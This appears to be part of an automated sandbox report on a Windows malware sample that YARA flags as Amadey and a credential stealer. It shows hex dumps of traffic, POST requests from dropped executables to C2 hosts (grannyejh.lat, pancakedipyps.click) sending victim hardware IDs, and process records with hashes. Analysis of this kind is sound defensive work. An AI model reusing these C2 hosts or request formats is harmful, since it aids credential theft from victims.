2024-12-18 10:09:44 UTC	1369	IN	Data Raw: 71 65 75 30 74 54 79 61 5a 6f 73 73 37 42 55 2f 47 32 78 6f 67 61 41 35 4b 6f 54 30 58 4d 45 37 58 72 46 38 52 6d 6f 56 4e 79 36 6d 70 50 76 2f 4e 59 63 73 33 32 54 54 41 53 5a 57 58 57 75 44 70 6a 51 78 79 75 38 61 30 58 42 53 75 7a 77 66 49 46 68 78 61 36 53 7a 75 71 31 37 74 69 48 66 59 64 4a 41 41 56 70 58 5a 59 69 34 66 69 4f 4b 38 6c 4c 66 64 78 6e 6c 66 42 49 6a 47 44 51 68 70 36 76 39 2b 44 36 42 49 64 42 68 32 67 67 36 58 6c 31 6e 68 71 4d 34 50 4d 50 76 46 38 70 2b 55 4c 45 77 58 6d 52 59 4f 44 50 6a 38 37 72 61 50 4a 51 6c 2f 47 2f 4d 43 33 52 47 46 33 4c 50 71 54 4a 38 6e 4b 73 56 33 58 4e 53 75 7a 51 65 4f 42 30 78 49 4b 4b 68 2f 50 51 32 6a 69 44 54 62 64 30 45 4f 46 6c 65 62 4a 32 38 4f 7a 72 57 34 56 4b 57 4f 31 36 6c 66 45 5a 71 4c 69 38 Data Ascii: qeu0tTyaZoss7BU/G2xogaA5KoT0XME7XrF8RmoVNy6mpPv/NYcs32TTASZWXWuDpjQxyu8a0XBSuzwfIFhxa6Szuq17tiHfYdJAAVpXZYi4fiOK8lLfdxnlfBIjGDQhp6v9+D6BIdBh2gg6Xl1nhqM4PMPvF8p+ULEwXmRYODPj87raPJQl/G/MC3RGF3LPqTJ8nKsV3XNSuzQeOB0xIKKh/PQ2jiDTbd0EOFlebJ28OzrW4VKWO16lfEZqLi8
2024-12-18 10:09:44 UTC	1369	IN	Data Raw: 66 6f 79 6a 53 37 62 59 39 49 47 4f 6c 39 66 5a 6f 71 68 4e 43 37 4d 35 52 2f 54 64 46 4b 76 50 42 4d 75 46 44 73 6a 71 4b 47 36 75 33 75 46 50 70 4d 30 6e 54 63 35 56 6c 6c 6f 6d 65 34 68 63 74 32 72 46 64 51 37 41 66 30 77 45 43 6f 58 4d 79 65 6f 6f 2f 76 35 4e 59 55 6a 32 6d 54 56 45 44 56 64 55 57 71 42 6f 54 38 34 77 65 34 57 33 33 39 66 73 6e 78 51 61 68 38 6e 61 2f 76 72 31 64 49 4f 77 41 66 70 4c 4d 4a 4d 4c 52 6c 65 5a 38 2f 32 66 6a 44 48 35 78 72 58 66 56 43 78 4e 68 63 68 46 44 51 76 72 36 4c 2f 38 7a 71 48 49 39 4a 6f 30 51 67 79 57 6c 70 6b 67 4b 45 32 66 49 71 72 46 63 41 37 41 66 30 5a 43 53 45 57 4f 57 75 38 35 65 4f 31 50 49 35 6d 69 79 7a 52 43 7a 4a 66 58 47 65 4f 71 44 59 35 7a 4f 38 54 33 6e 31 61 73 6a 67 62 4b 78 63 37 4a 36 32 68 Data Ascii: foyjS7bY9IGOl9fZoqhNC7M5R/TdFKvPBMuFDsjqKG6u3uFPpM0nTc5Vllome4hct2rFdQ7Af0wECoXMyeoo/v5NYUj2mTVEDVdUWqBoT84we4W339fsnxQah8na/vr1dIOwAfpLMJMLRleZ8/2fjDH5xrXfVCxNhchFDQvr6L/8zqHI9Jo0QgyWlpkgKE2fIqrFcA7Af0ZCSEWOWu85eO1PI5miyzRCzJfXGeOqDY5zO8T3n1asjgbKxc7J62h
2024-12-18 10:09:44 UTC	1369	IN	Data Raw: 38 74 77 57 76 53 42 6a 4e 56 58 32 53 4a 72 7a 73 32 79 4f 77 58 30 33 52 56 2f 58 4a 65 4c 51 42 2f 63 2b 4f 46 38 65 59 73 67 53 6a 59 65 73 5a 43 4b 78 64 41 4b 34 69 69 66 6d 53 45 36 42 6e 54 66 31 6d 78 50 42 6f 6e 47 43 30 6b 70 4b 7a 7a 2f 69 6d 49 49 64 52 6e 31 51 6b 37 58 30 74 6e 67 62 77 37 4c 74 61 72 58 4a 68 38 51 66 31 6b 58 68 77 66 4c 7a 75 67 36 63 76 6a 4f 4a 51 74 33 6d 43 64 48 58 70 41 47 57 79 44 37 6d 5a 38 77 75 51 62 32 33 52 59 74 44 41 54 4c 78 45 36 4b 71 57 76 38 50 38 37 68 43 44 53 61 64 63 42 4e 56 4e 51 62 49 65 70 50 53 36 45 70 56 4c 66 59 78 6e 6c 66 44 63 74 43 6a 45 37 34 37 53 30 37 48 75 46 4b 70 4d 30 6e 51 59 2b 56 6c 31 73 67 36 67 37 4f 73 6e 71 48 64 6c 37 56 72 6b 33 46 79 77 5a 4d 69 36 75 72 2b 6a 2f 4d Data Ascii: 8twWvSBjNVX2SJrzs2yOwX03RV/XJeLQB/c+OF8eYsgSjYesZCKxdAK4iifmSE6BnTf1mxPBonGC0kpKzz/imIIdRn1Qk7X0tngbw7LtarXJh8Qf1kXhwfLzug6cvjOJQt3mCdHXpAGWyD7mZ8wuQb23RYtDATLxE6KqWv8P87hCDSadcBNVNQbIepPS6EpVLfYxnlfDctCjE747S07HuFKpM0nQY+Vl1sg6g7OsnqHdl7Vrk3FywZMi6ur+j/M
2024-12-18 10:09:44 UTC	1369	IN	Data Raw: 73 33 51 67 78 55 31 52 6f 67 4b 30 73 50 63 4c 35 45 74 56 78 53 37 63 33 47 79 63 56 4d 69 69 6c 72 66 48 35 4b 59 73 6d 30 47 65 64 54 48 52 65 51 53 76 58 37 68 30 72 30 75 45 56 31 47 31 53 76 44 38 49 4a 77 68 2f 5a 65 4f 36 2f 65 52 37 32 6a 44 44 65 39 6f 64 65 6b 41 5a 62 49 50 75 5a 6e 7a 43 34 68 54 66 66 56 65 76 4f 52 67 6c 46 7a 59 69 70 36 50 35 39 54 2b 47 49 64 5a 76 30 51 6b 7a 57 6c 5a 76 68 71 41 33 4d 34 53 6c 55 74 39 6a 47 65 56 38 50 7a 45 62 4d 79 62 6a 74 4c 54 73 65 34 55 71 6b 7a 53 64 44 6a 70 63 57 57 47 4a 71 6a 73 36 7a 75 34 53 30 33 68 57 75 54 6f 61 4a 52 67 30 49 71 4b 74 2f 2f 38 77 68 43 76 51 61 74 74 43 65 68 6c 65 63 38 2f 32 66 68 7a 66 35 68 37 66 4f 30 62 7a 4a 56 34 74 46 48 39 7a 34 36 44 32 38 54 79 43 4b 39 Data Ascii: s3QgxU1RogK0sPcL5EtVxS7c3GycVMiilrfH5KYsm0GedTHReQSvX7h0r0uEV1G1SvD8IJwh/ZeO6/eR72jDDe9odekAZbIPuZnzC4hTffVevORglFzYip6P59T+GIdZv0QkzWlZvhqA3M4SlUt9jGeV8PzEbMybjtLTse4UqkzSdDjpcWWGJqjs6zu4S03hWuToaJRg0IqKt//8whCvQattCehlec8/2fhzf5h7fO0bzJV4tFH9z46D28TyCK9
2024-12-18 10:09:44 UTC	290	IN	Data Raw: 47 31 35 50 61 4b 43 74 4c 7a 57 45 70 56 4c 66 62 52 6e 6c 66 43 42 71 43 6a 77 37 6f 4b 54 72 79 33 76 61 50 2b 30 73 31 68 51 7a 53 56 70 39 68 4b 4d 79 4c 66 71 72 53 6f 77 70 43 2b 39 75 54 44 56 59 49 42 54 74 36 2f 75 31 59 37 73 2f 6b 33 71 64 57 6d 59 58 47 58 6e 50 39 6e 35 37 78 2f 6b 41 33 6e 68 50 76 6e 73 67 46 44 38 70 49 61 53 37 2f 65 49 30 77 6d 69 54 59 35 31 61 44 52 6c 51 62 4a 53 2f 4b 44 48 55 37 46 4c 6e 4e 52 6d 6c 66 45 5a 71 4c 54 77 6c 72 61 7a 73 35 48 61 6c 4d 4e 6c 72 7a 51 55 6a 56 68 6b 6c 7a 36 68 2b 5a 4a 65 6c 55 74 78 71 47 65 56 73 54 48 46 4e 62 48 7a 7a 2b 65 57 37 49 73 49 77 6b 7a 53 50 54 48 52 4c 47 54 50 50 36 54 30 75 31 75 30 52 7a 6e 67 65 67 77 49 35 4d 42 55 35 50 4c 4b 56 78 50 49 68 6a 79 44 45 66 5a 45 Data Ascii: G15PaKCtLzWEpVLfbRnlfCBqCjw7oKTry3vaP+0s1hQzSVp9hKMyLfqrSowpC+9uTDVYIBTt6/u1Y7s/k3qdWmYXGXnP9n57x/kA3nhPvnsgFD8pIaS7/eI0wmiTY51aDRlQbJS/KDHU7FLnNRmlfEZqLTwlrazs5HalMNlrzQUjVhklz6h+ZJelUtxqGeVsTHFNbHzz+eW7IsIwkzSPTHRLGTPP6T0u1u0RzngegwI5MBU5PLKVxPIhjyDEfZE
2024-12-18 10:09:44 UTC	1369	IN	Data Raw: 32 62 66 63 0d 0a 2b 7a 57 46 4d 4d 49 68 2b 68 67 35 58 30 35 36 7a 2b 42 2b 4f 6f 53 7a 51 70 59 37 58 61 78 38 52 6e 70 4b 5a 48 37 77 2f 4b 71 6e 4a 4d 77 2f 6b 33 71 64 57 6d 59 58 47 58 6e 50 39 6e 35 37 78 2f 6b 41 33 6e 68 50 76 6e 73 67 46 44 59 34 4c 61 61 73 36 72 63 56 69 54 4c 55 4c 4a 4e 43 4f 78 6b 42 55 73 2f 6d 66 67 4f 4b 71 77 71 59 49 78 6d 49 50 78 41 6b 48 79 6b 36 37 6f 58 39 38 7a 36 46 4e 70 46 43 31 68 59 7a 47 52 63 72 69 65 35 6d 62 49 71 72 46 73 6b 37 41 65 31 75 52 58 39 4c 61 48 76 78 74 4c 54 73 65 35 52 6d 69 7a 36 54 51 69 59 5a 41 53 76 49 72 53 77 75 77 75 67 45 32 7a 78 6e 67 7a 38 49 4a 78 63 30 4b 70 32 56 31 50 67 36 67 53 69 52 58 63 73 50 4a 46 70 63 62 4c 47 51 4d 44 76 51 37 42 7a 65 65 78 6e 7a 66 42 46 71 51 Data Ascii: 2bfc+zWFMMIh+hg5X056z+B+OoSzQpY7Xax8RnpKZH7w/KqnJMw/k3qdWmYXGXnP9n57x/kA3nhPvnsgFDY4Laas6rcViTLULJNCOxkBUs/mfgOKqwqYIxmIPxAkHyk67oX98z6FNpFC1hYzGRcrie5mbIqrFsk7Ae1uRX9LaHvxtLTse5Rmiz6TQiYZASvIrSwuwugE2zxngz8IJxc0Kp2V1Pg6gSiRXcsPJFpcbLGQMDvQ7BzeexnzfBFqQ
2024-12-18 10:09:44 UTC	1369	IN	Data Raw: 76 36 37 56 6a 30 6e 53 49 4f 59 35 56 5a 41 74 47 4a 5a 62 75 4b 48 79 63 75 56 79 59 61 52 6e 6c 66 46 6b 70 43 69 30 74 6f 4c 33 35 73 67 57 38 41 64 31 72 33 42 51 6b 56 46 56 4b 6a 4c 38 30 41 76 72 2b 45 64 5a 31 58 71 73 74 58 6d 52 59 4d 47 76 37 6b 72 71 39 65 37 31 6f 6b 33 53 64 57 6e 52 73 57 6d 57 42 71 53 67 74 69 63 77 63 33 33 70 50 72 54 45 53 43 78 73 75 49 65 50 6c 75 76 4e 37 32 6e 53 64 4c 4e 6b 54 64 41 45 4a 4f 64 54 37 62 57 75 55 75 51 32 57 59 68 6d 72 66 45 5a 34 56 6e 38 35 34 2f 4f 36 73 6a 69 51 4e 4e 56 76 79 77 46 7a 5a 32 64 4f 6d 4b 30 75 4f 73 66 56 4c 50 4e 33 58 37 6f 6d 47 53 77 2b 48 32 76 74 36 2f 57 31 59 37 74 6d 6d 79 7a 69 54 48 52 42 47 54 50 50 6d 7a 30 79 79 75 77 45 79 54 5a 38 71 6a 38 4f 4c 42 74 2f 5a 65 Data Ascii: v67Vj0nSIOY5VZAtGJZbuKHycuVyYaRnlfFkpCi0toL35sgW8Ad1r3BQkVFVKjL80Avr+EdZ1XqstXmRYMGv7krq9e71ok3SdWnRsWmWBqSgticwc33pPrTESCxsuIePluvN72nSdLNkTdAEJOdT7bWuUuQ2WYhmrfEZ4Vn854/O6sjiQNNVvywFzZ2dOmK0uOsfVLPN3X7omGSw+H2vt6/W1Y7tmmyziTHRBGTPPmz0yyuwEyTZ8qj8OLBt/Ze

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49959	172.67.179.109	443	340	C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 10:09:42 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=A5BVGTFOW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12810 Host: grannyejh.lat
2024-12-18 10:09:42 UTC	12810	OUT	Data Raw: 2d 2d 41 35 42 56 47 54 46 4f 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 34 45 43 38 34 45 31 41 35 34 30 46 32 46 43 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 41 35 42 56 47 54 46 4f 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 35 42 56 47 54 46 4f 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 0d 0a 2d 2d 41 35 42 56 47 54 46 4f 57 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: --A5BVGTFOWContent-Disposition: form-data; name="hwid"04EC84E1A540F2FC00D57F9DDD37BE0C--A5BVGTFOWContent-Disposition: form-data; name="pid"2--A5BVGTFOWContent-Disposition: form-data; name="lid"yau6Na--6989783370--A5BVGTFOWContent
2024-12-18 10:09:49 UTC	1033	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 10:09:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mhi5cvvklancm26nvgvlunchv1; expires=Sun, 13-Apr-2025 03:56:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8V%2FeYDCiNmY8VZCnYOfbkwcCFxx2pbHFfercylbfWyShDo1sK63DghUA89aau7cGA31lIdNBRPKaZKOlcRj5cgoX5q6fFhx%2BvyxfwHIQd%2Bo1bqPJL1EyIGjEqjB8IojL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3e5be48ee718f6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1754&min_rtt=1661&rtt_var=689&sent=12&recv=17&lost=0&retrans=0&sent_bytes=2829&recv_bytes=13738&delivery_rate=1757977&cwnd=211&unsent_bytes=0&cid=a757767a11d3624e&ts=6243&x=0"
2024-12-18 10:09:49 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 10:09:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49971	104.21.23.76	443	4196	C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 10:09:46 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ILVZO8LAVB6S User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12822 Host: pancakedipyps.click
2024-12-18 10:09:46 UTC	12822	OUT	Data Raw: 2d 2d 49 4c 56 5a 4f 38 4c 41 56 42 36 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 34 45 43 38 34 45 31 41 35 34 30 46 32 46 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 49 4c 56 5a 4f 38 4c 41 56 42 36 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 49 4c 56 5a 4f 38 4c 41 56 42 36 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 49 4c 56 5a 4f 38 4c 41 56 42 36 53 0d 0a 43 Data Ascii: --ILVZO8LAVB6SContent-Disposition: form-data; name="hwid"04EC84E1A540F2FCAC8923850305D13E--ILVZO8LAVB6SContent-Disposition: form-data; name="pid"2--ILVZO8LAVB6SContent-Disposition: form-data; name="lid"FATE99--test--ILVZO8LAVB6SC
2024-12-18 10:09:56 UTC	1037	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 10:09:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6hrlgfdbfhjh6atrhmgnuu2nar; expires=Sun, 13-Apr-2025 03:56:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hyMKd3yxMEDzKiMSgRXJh8v1IE1LVOf4crezjW3Jn2b7V3toPr%2BcL94JyRCxpHEj21sAbKYLYWCujBFKysk3dJwQYPAJSjuK5DRCXIZelRQ3pAXhP4K0j3EKPim3nwmgOUCyHmWw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3e5bf7ab406a57-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1774&min_rtt=1725&rtt_var=682&sent=9&recv=16&lost=0&retrans=0&sent_bytes=2848&recv_bytes=13759&delivery_rate=1692753&cwnd=231&unsent_bytes=0&cid=b8075df92fb8f11c&ts=10616&x=0"
2024-12-18 10:09:56 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 10:09:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49980	172.67.179.109	443	340	C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 10:09:50 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NLADBOIZ7F5IUIG50VN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15116 Host: grannyejh.lat
2024-12-18 10:09:50 UTC	15116	OUT	Data Raw: 2d 2d 4e 4c 41 44 42 4f 49 5a 37 46 35 49 55 49 47 35 30 56 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 34 45 43 38 34 45 31 41 35 34 30 46 32 46 43 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 4e 4c 41 44 42 4f 49 5a 37 46 35 49 55 49 47 35 30 56 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4e 4c 41 44 42 4f 49 5a 37 46 35 49 55 49 47 35 30 56 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 Data Ascii: --NLADBOIZ7F5IUIG50VNContent-Disposition: form-data; name="hwid"04EC84E1A540F2FC00D57F9DDD37BE0C--NLADBOIZ7F5IUIG50VNContent-Disposition: form-data; name="pid"2--NLADBOIZ7F5IUIG50VNContent-Disposition: form-data; name="lid"yau6Na--69

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50000	104.21.23.76	443	4196	C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 10:09:58 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=41IXZLLKRRXJT9R User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15086 Host: pancakedipyps.click
2024-12-18 10:09:58 UTC	15086	OUT	Data Raw: 2d 2d 34 31 49 58 5a 4c 4c 4b 52 52 58 4a 54 39 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 34 45 43 38 34 45 31 41 35 34 30 46 32 46 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 34 31 49 58 5a 4c 4c 4b 52 52 58 4a 54 39 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 31 49 58 5a 4c 4c 4b 52 52 58 4a 54 39 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 34 31 49 58 5a 4c Data Ascii: --41IXZLLKRRXJT9RContent-Disposition: form-data; name="hwid"04EC84E1A540F2FCAC8923850305D13E--41IXZLLKRRXJT9RContent-Disposition: form-data; name="pid"2--41IXZLLKRRXJT9RContent-Disposition: form-data; name="lid"FATE99--test--41IXZL

Target ID:	0
Start time:	05:07:51
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xfb0000
File size:	2'943'488 bytes
MD5 hash:	65F41A5703887BEEBA49A84CA30BAE19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2131654122.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:07:54
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x610000
File size:	2'943'488 bytes
MD5 hash:	65F41A5703887BEEBA49A84CA30BAE19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2160965888.0000000004710000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2201284335.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:07:55
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x610000
File size:	2'943'488 bytes
MD5 hash:	65F41A5703887BEEBA49A84CA30BAE19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2217401983.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2177174832.0000000005290000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:09:00
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x610000
File size:	2'943'488 bytes
MD5 hash:	65F41A5703887BEEBA49A84CA30BAE19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2820833506.0000000004C60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	05:09:12
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe"
Imagebase:	0xd90000
File size:	765'568 bytes
MD5 hash:	8A9CB17C0224A01BD34B46495983C50A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 75%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:09:12
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:09:15
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe"
Imagebase:	0xd90000
File size:	765'568 bytes
MD5 hash:	8A9CB17C0224A01BD34B46495983C50A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.3380643533.0000000000C99000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	05:09:19
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe"
Imagebase:	0xe50000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	05:09:19
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
